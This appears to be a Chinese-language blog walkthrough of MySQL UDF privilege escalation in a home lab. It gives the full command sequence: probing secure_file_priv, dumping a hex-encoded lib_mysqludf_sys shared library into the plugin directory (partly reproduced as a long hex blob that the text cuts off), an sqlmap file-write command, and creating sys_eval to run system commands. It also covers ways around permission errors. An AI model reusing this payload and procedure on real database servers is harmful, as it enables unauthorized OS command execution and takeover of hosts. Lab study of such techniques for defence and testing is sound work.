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mysql udf提權實戰測驗

2020-09-16 04:33:08 其他

根據前天對大牛們的資料學習,進行一次mysql udf提權測驗,

測驗環境:

受害者系統:centos 7.7 ,docker部署mysql5.6.46, IP:192.168.226.128

攻擊者系統:centos7.7,安裝mysq client 5.7,IP:192.168.226.129

攻擊者連接至mysql后,使用SQL陳述句檢查相關的路徑及權限

show variables like "%plugin%";

show variables like "%secure_file%";

 


攻擊者系統

剛安裝好的mysql時,secure_file_priv是有一個指定路徑,而且并不在/usr/lib/mysql/下,則無法寫入udf檔案,手動在受害者所在系統/etc/mysql/mysql.conf.d/mysqld.conf中修改,若不存在secure_file_priv,則添加secure_file_priv=

 


受攻擊系統的mysqld.conf

提權測驗:

將udf十六進制匯入查檢目錄中,先設定udf變數

mysql> set @a=unhex('udf十六進制編碼,詳見下文');

mysql> select @a into dumpfile '/usr/lib/mysql/plugin/udf.so';

 


上傳插件

*************也可以使用sqlmap進行上傳so檔案:

python sqlmap.py -d "mysql://root:test1234@@192.168.226.128:3306/mysql" --file-write="C:\Users\username\AppData\Local\Programs\Python\Python37\sqlmap-master\data\udf\mysql\linux\64\lib_mysqludf_sys.so_" --file-dest="/usr/lib/mysql/plugin/udf.so"

參考方法,成功執行系統命令:

mysql> select * from func;

mysql> create function sys_eval returns string soname 'udf.so';

mysql> select sys_eval('whoami');

 


命令執行成功-whami

<進一步的權限提升及持久化,需要繼續學習研究>

提權程序的坑點:

(1)plugin目錄下沒有寫入權限

mysql> select '1111' into dumpfile '/usr/lib/mysql/plugin/1.txt';

 ERROR 1 (HY000): Can't create/write to file '/usr/lib/mysql/plugin/1.txt' (Errcode: 13 - Permission denied) 


權限配置

解決方法:修改plugin目錄權限

# chown mysql:mysql /usr/lib/mysql/plugin

 


修改受攻擊者plugin寫權限

(2)獲取udf檔案,可以從sqlmap/data/udf/mysql/linux/64中獲取(需要經過解碼,工具也在sqlmap中,在sqlmap/extra/cloak目錄下的cloak.py就是,解密之后會在當前目錄下生成dll檔案),也可以自己進行編譯,我通過網路查找以前大牛的udf十六進制檔案(原鏈接:https://blog.csdn.net/qq_33020901/article/details/78827375),

unhex('7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084000000000000008400000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000CD00000012000000000000000000000000000000000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000000000000000000000000B200000012000000000000000000000000000000000000005A01000012000000000000000000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A90F0000000000000A000000000000001000000012000C00481100000000000000000000000000007800000012000B009F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000F1FF101720000000000000000000000000001501000012000B00130F0000000000002F000000000000008C0100001000F1FF201720000000000000000000000000009B00000012000B00480C0000000000000A000000000000002501000012000B00420F0000000000006700000000000000AA00000012000B00520C00000000000063000000000000005B00000012000B00950B0000000000000A000000000000008E00000012000B00EB0B0000000000005D00000000000000790100001000F1FF101720000000000000000000000000000501000012000B00090F0000000000000A00000000000000C000000012000B00B50C000000000000F100000000000000F700000012000B00A20E00000000000067000000000000003900000012000B004C0B0000000000004900000000000000D400000012000B00A60D0000000000002B000000000000004301000012000B00B30F0000000000005501000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E6974007379735F6765745F6465696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974006D616C6C6F63007379735F7365745F6465696E69740066726565007379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6465696E6974007379735F657865630073797374656D007379735F6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6F63007374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E3500000000000000000000020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001006F0100001000000000000000751A6909000002009101000000000000F0142000000000000800000000000000F0142000000000007816200000000000060000000200000000000000000000008016200000000000060000000300000000000000000000008816200000000000060000000A0000000000000000000000A81620000000000007000000040000000000000000000000B01620000000000007000000050000000000000000000000B81620000000000007000000060000000000000000000000C01620000000000007000000070000000000000000000000C81620000000000007000000080000000000000000000000D01620000000000007000000090000000000000000000000D816200000000000070000000A0000000000000000000000E016200000000000070000000B0000000000000000000000E816200000000000070000000C0000000000000000000000F016200000000000070000000D0000000000000000000000F816200000000000070000000E00000000000000000000000017200000000000070000000F00000000000000000000000817200000000000070000001000000000000000000000004883EC08E8EF000000E88A010000E8750700004883C408C3FF35F20C2000FF25F40C20000F1F4000FF25F20C20006800000000E9E0FFFFFFF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